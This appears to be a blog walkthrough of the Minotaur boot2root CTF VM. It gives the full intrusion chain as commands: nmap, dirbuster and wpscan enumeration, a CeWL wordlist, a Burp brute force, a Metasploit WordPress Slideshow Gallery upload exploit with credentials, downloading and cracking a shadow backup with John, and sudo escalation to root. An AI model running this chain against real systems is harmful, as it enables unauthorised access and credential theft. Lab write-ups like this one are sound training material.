Hack the Minotaur VM (CTF Challenge)


Minotaur is a Boot2Root CTF challenge which helps us improve our skills especially of password cracking. The VM will assign itself a specific IP address (in the 192.168.56.0/24 range). Do not change this, as the CTF will not work properly without an IP address of 192.168.56. We know to think about it i.e.:
One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
Hints
  1. This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
  2. One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
Penetrating Methodology
§  Network Scanning (Nmap)
§  WordPress scanning & password cracking (wpscan)
§  Generate Password Dictionary (Cewl)
§  Reverse connection (Metasploit)
§  Download shadow.bak and crack Hash (John)
§  Sudo right Privilege escalation
§  Get Root access and capture the flag.
Let’s Start!!!
We will start off by nmap because we already our target IP.
nmap  -A 192.168.56.223




As a result of nmap we can see that the port numbers: 22, 80, 2020 are open. We can use port 22 and 80 to our advantage.
Now we tried to explore through nikto and curl but unfortunately we found nothing of use. So we decided to use dirbuster.
Go to the terminal of kali and type :
dirbuster
It will open the dirbuster. In it, give the url in the Target URL box and select directory-list-2.3-medium.txt file in the File with list of dir box.




It will show you the directory called /bull/  and we open the said directory in our browser.




It will show that there is a blog made in WordPress.  As the blog is in wordpress we can apply WPScan to find usernames and vulnerable themes and plung-ins. To apply WPScan type:
wpscan -u http://192.168.56.223/bull/ --enumerate u --enumerate p 
The command will start executing and it will show you all the plug-ins that is exploitable along with usernames and from its result you will enumerate following information :
One user with the username bully. Also, there is plug-in exploit for Slideshow Gallery.




But we will require username and password to make this exploit work. Now we already have username and all we need is its password and we have no idea where to find it as we have no dictionary or password file. The hint we read previously mentions to the requirement of generating our own wordlist. Therefore we will make a password file using ceWL. To make a password file from CeWL go to your terminal of your kali and type:
cewl http://192.168.56.223/bull -m 3 -w /root/Desktop/pass.txt
This will create a .txt with list of all the words that have a possibility to be the password for the username bully.




Now to find which its password is we will use BurpSuite. So, apply dictionary attack using burpsuite and the moment it will find the correct password it will change it value of length as shown below:




Now that we know username and password we can use that exploit for the plug-in. And to do so open metasploit and type:
use exploit/unix/webapp/wp_slideshowgallery_upload
 msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.56.223
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /bull/
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user bully
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password Bighornedbulls
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit
 As the exploit will run it will give you the session of meterpreter.




After digging more and more we found a flag.txt file and shadow.bak insdie /tmp directory.
cd /tmp
ls
cat flag.txt




Also we got a hint that shadow.bak file could be useful to us. Let’s have look in it.
cat shadow.bak




Lets download it with the help of following command
download shadow.bak /root/Desktop




We will take help of John password cracker to find the passwords:
john shadow.bak




We found the passwords for both heffer and minotaur. Please recall that port number 22 i.e. for ssh was open and we can use it to log in and for this type:
ssh heffer@192.168.56.223
Give the password when asked and further check its directories:
ls -lsa
We found a flag here. Read it.
cat flag.txt



Now in the flag we found another flag along with a hint indicating that the flag is Minotaur. Now we will log in through SSH using minotaur:
ssh minotaur@192.168.56.223
Give the password when asked. And then check for directories:
ls -lsa
There is another flag available. Again read it.
cat flag.txt



Now, we have finally found the first flag along with another hint that is the final flag is in /root/flag.txt now let check sudo right for user Minotaur.
sudo -l
As you can observe Minotaur has ALL privileges therefore let’s moving on, type the following to gain admin access and switch user:
sudo su
Finally we have found the last flag.
cat /root/flag.txt
WOOHOO!!! The flag is captured. Congrats and enjoy!!


0 comments:

Post a Comment